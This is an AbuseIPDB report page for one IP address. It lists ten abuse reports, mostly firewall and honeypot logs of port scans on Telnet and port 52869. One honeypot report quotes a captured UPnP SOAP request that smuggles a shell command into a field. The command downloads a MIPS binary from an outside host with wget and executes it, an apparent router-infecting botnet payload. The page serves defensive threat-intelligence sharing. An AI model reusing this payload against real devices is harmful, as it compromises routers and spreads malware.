JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 138.2.117.97

138.2.117.97 was found in our database!

This IP was reported 10 times. Confidence of Abuse is 63%: ?

63%

ISP	Oracle Corporation
Usage Type	Data Center/Web Hosting/Transit
ASN	AS31898
Domain Name	oracle.com
Country	🇰🇷 Korea (the Republic of)
City	Chuncheon, Gangwon-do

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 138.2.117.97

Whois 138.2.117.97

IP Abuse Reports for 138.2.117.97:

This IP address has been reported a total of 10 times from 9 distinct sources. 138.2.117.97 was first reported on June 16th 2026, and the most recent report was 23 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 MPL	2026-06-16 16:38:21 (23 hours ago)	tcp/23	Port Scan
🇺🇸 RAP	2026-06-16 15:49:52 (1 day ago)	2026-06-16 15:49:52 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇫🇮 6kilowatti	2026-06-16 15:33:36 (1 day ago)	2026-06-16T18:33:35.468923+03:00 6kw kernel: [UFW BLOCK] IN=eth0 OUT= MAC=00:16:3e:b6:e7:09:78:9a:18 ... show more 2026-06-16T18:33:35.468923+03:00 6kw kernel: [UFW BLOCK] IN=eth0 OUT= MAC=00:16:3e:b6:e7:09:78:9a:18:bd:57:7e:08:00 SRC=138.2.117.97 DST=5.61.88.83 LEN=40 TOS=0x00 PREC=0x00 TTL=52 ID=37762 PROTO=TCP SPT=13603 DPT=23 WINDOW=34024 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇦🇺 Block Rockin' Beats	2026-06-16 15:31:03 (1 day ago)	Attempted connection to TCP port 23	Port Scan
🇳🇱 ByeByte API	2026-06-16 15:20:48 (1 day ago)	byebyte.space auth: TCP packet to port 52869 (high-risk service) at 2026-06-16T15:20:47Z. Source por ... show more byebyte.space auth: TCP packet to port 52869 (high-risk service) at 2026-06-16T15:20:47Z. Source port 23091. TCP flags: SYN. Packet: 40B, TTL 51, window 32275, IP id 6128. Single packet, dropped at firewall. p0f: 13 hops. show less	Port Scan
🇩🇪 Yachiyo Runami	2026-06-16 14:38:40 (1 day ago)	Port Scan on Honeypot \| Ports: 23/Telnet \| Proto: TCP(1) \| Flags: all SYN \| TTL: 50 \| Len: 44B \| Win ... show more Port Scan on Honeypot \| Ports: 23/Telnet \| Proto: TCP(1) \| Flags: all SYN \| TTL: 50 \| Len: 44B \| Win: 36834(1) \| F2B/ufw-honeypot@2026-06-16T14:38:40Z show less	Port Scan Hacking
🇳🇱 VMHeaven.io	2026-06-16 14:07:07 (1 day ago)	Blocked by UFW [52869/tcp] Source port: 23339 TTL: 51 Packet length: 40	Port Scan
🇺🇸 MPL	2026-06-16 13:09:03 (1 day ago)	tcp/23 (2 or more attempts)	Port Scan
🇬🇧 gbzret4d	2026-06-16 12:39:49 (1 day ago)	Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (co ... show more Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Accept: / Accept-Encoding: gzip, deflate POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf zuki; wget http://86.54.82.179/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [2] TCP show less	Hacking Bad Web Bot
🇩🇪 centurion	2026-06-16 12:24:35 (1 day ago)	Blocked by UFW on ns02 [52869/tcp] Source port: 12835 TTL: 54 Packet length: 40 TOS: 0x00 This repo ... show more Blocked by UFW on ns02 [52869/tcp] Source port: 12835 TTL: 54 Packet length: 40 TOS: 0x00 This report was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan

Showing 1 to 10 of 10 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇯🇵 138.2.63.35

🇷🇴 103.148.42.98

🇬🇷 79.127.181.103

🇳🇱 45.148.10.141

🇮🇹 31.3.182.38

🇺🇸 23.234.91.191

🇧🇷 201.182.126.139

🇮🇳 182.95.120.178

🇨🇳 182.43.242.192

🇸🇬 167.71.217.152

🇮🇳 103.84.236.242

🇱🇹 81.30.98.144

🇺🇸 74.7.227.189

🇺🇸 23.234.91.175

🇨🇳 14.29.214.161

🇫🇮 2a09:bac1:2500:8::48e:12

🇺🇸 216.25.89.89

🇯🇵 212.32.76.12

🇪🇬 196.138.217.121

🇿🇦 105.186.163.41